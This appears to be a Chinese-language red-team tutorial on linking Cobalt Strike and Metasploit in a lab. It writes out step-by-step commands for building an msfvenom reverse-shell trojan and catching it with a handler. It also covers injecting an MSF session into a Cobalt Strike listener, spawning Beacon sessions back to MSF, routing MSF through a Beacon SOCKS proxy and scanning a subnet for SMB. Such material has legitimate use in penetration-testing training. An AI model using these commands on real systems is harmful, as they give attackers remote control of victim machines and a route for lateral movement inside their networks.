环境

  • 攻击机:Kali,192.168.100.2
    • CS:监听器端口8080
    • MSF:监听端口9999
  • 靶机:Win7,192.168.100.4

    MSF上线主机给CS

    场景:当MSF有了一个Session会话,利用MSF注入功能,加载CS的Payload

  • 测试的时候发现会弹个空白的笔记本出来

    • 环境:Vulnstack2(Win_2008_R2_Standard_x64)
  • MSF需要先拿到Shell。这里使用msfvenom生成一个恶意木马,并上传到靶机 ```shell $ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost= lport= -f exe > msf.exe
  1. ![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621754-9ca3c549-93ff-4cca-8d63-f8fb66253eb9.jpeg#height=216&id=oipO3&originHeight=216&originWidth=791&originalType=binary&ratio=1&size=0&status=done&style=none&width=791)
  2. - MSF中开启监听,并在靶机中运行该木马
  3. ```shell
  4. msf6 > use exploit/multi/handler
  5. msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
  6. msf6 exploit(multi/handler) > set lhost <MSF_IP>
  7. msf6 exploit(multi/handler) > set lport <MSF_Port>
  8. msf6 exploit(multi/handler) > exploit

CS联动MSF - 图1

  • 在CS中创建监听器
    • 监听器类型:windows/beacon_http/reverse_http
    • Host修改为CS的IP,监听指定端口,等待MSF发送

CS联动MSF - 图2

  • 在MSF中,将session挂到后台 ```shell

    挂起会话

    meterpreter> background

使用payload_inject模块,执行之后会在本地产生一个新的Handler

msf> use exploit/windows/local/payload_inject

根据CS监听器类型选择对应的payload(http或者https)

msf> set payload windows/meterpreter/reverse_http

设置回连地址,CS_IP和监听器端口

msf> set LHOST msf> set LPORT # 前面CS监听器端口

指定要执行的Session

msf> set session

设置MSF不启动监听,不然MSF会提示执行成功,但没有会话建立

msf> set disablepayloadhandler true msf> run

  1. - 运行后CS上线
  2. ![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621859-aa3a949d-4611-4c4b-b1b6-c8576c2a0826.jpeg#height=475&id=LgosF&originHeight=475&originWidth=1320&originalType=binary&ratio=1&size=0&status=done&style=none&width=1320)
  3. <a name="024a42a4"></a>
  4. ## CS上线主机给MSF
  5. > 场景:CS已上线主机,想把这个主机发送给MSF,生成一个MSFSession
  6. - CS生成木马并上传到靶机,运行后主机上线
  7. - MSF开始监听
  8. ```shell
  9. # 配置监听器
  10. msf> use exploit/multi/handler
  11. # 选择Payload
  12. msf> set payload windows/meterpreter/reverse_http # 不要用x64
  13. msf> set lhost <MSF_IP>
  14. msf> set lport <MSF_Port> # 设置任意端口进行监听
  15. # 启动监听器
  16. msf> run
  • 然后在CS上设置一个Foreign监听器
    • IP为MSF的监听IP
    • 端口为MSF监听端口

image.png

  • 在CS中右键会话,点击Spawn,选择MSF的监听器,或者在CS上线主机运行: ```shell beacon> Spawn msf
  1. ![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621822-db791fa3-d04e-4d1c-8701-a4178b14d23b.jpeg#height=240&id=P12or&originHeight=240&originWidth=640&originalType=binary&ratio=1&size=0&status=done&style=none&width=640)
  2. - 发送后MSF获得Session
  3. ![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621830-9c6dbc5a-5781-46db-919d-f9988357d001.jpeg#height=341&id=NFIn1&originHeight=341&originWidth=681&originalType=binary&ratio=1&size=0&status=done&style=none&width=681)
  4. <a name="29833eeb"></a>
  5. ## CS代理给MSF
  6. > 场景:CS已上线主机,通过CS开放一个socks代理,让MSF连接此代理进行内网渗透
  7. - CS上线主机Beacon中输入Socks监听端口
  8. ```shell
  9. beacon> socks <Proxy_Prot> # 设置任意端口进行代理

CS联动MSF - 图4

  • 在菜单栏点击view > Proxy pirots,点击Tunnel,可以看到生成对应的命令 ```shell setg Proxies socks4::
  1. ![](https://cdn.nlark.com/yuque/0/2021/jpeg/520228/1617242621792-da153e32-ccb0-4ac8-aae9-df8c94d5ec90.jpeg#height=526&id=FCXMO&originHeight=526&originWidth=806&originalType=binary&ratio=1&size=0&status=done&style=none&width=806)
  2. - 开启MSF,输入命令进行设置代理
  3. ```shell
  4. # MSF所有流量将走此代理
  5. msf> setg Proxies socks4:<CS_IP>:<Proxy_Prot>
  6. # 设置允许反向代理,即建立双向通道
  7. # 如果通过此socks反弹shell,则需要开启,否则不推荐开启
  8. msf> setg ReverseAllowProxy true
  9. # 可以使用以下命令停止
  10. msf> unsetg Proxies
  • 扫描指定网段中的445端口 ```shell msf> use auxiliary/scanner/smb/smb_version msf> set rhost 192.168.100.0/24 # 靶机如果有其它网段也可以扫描 msf> set threads 10 msf> run

``` CS联动MSF - 图5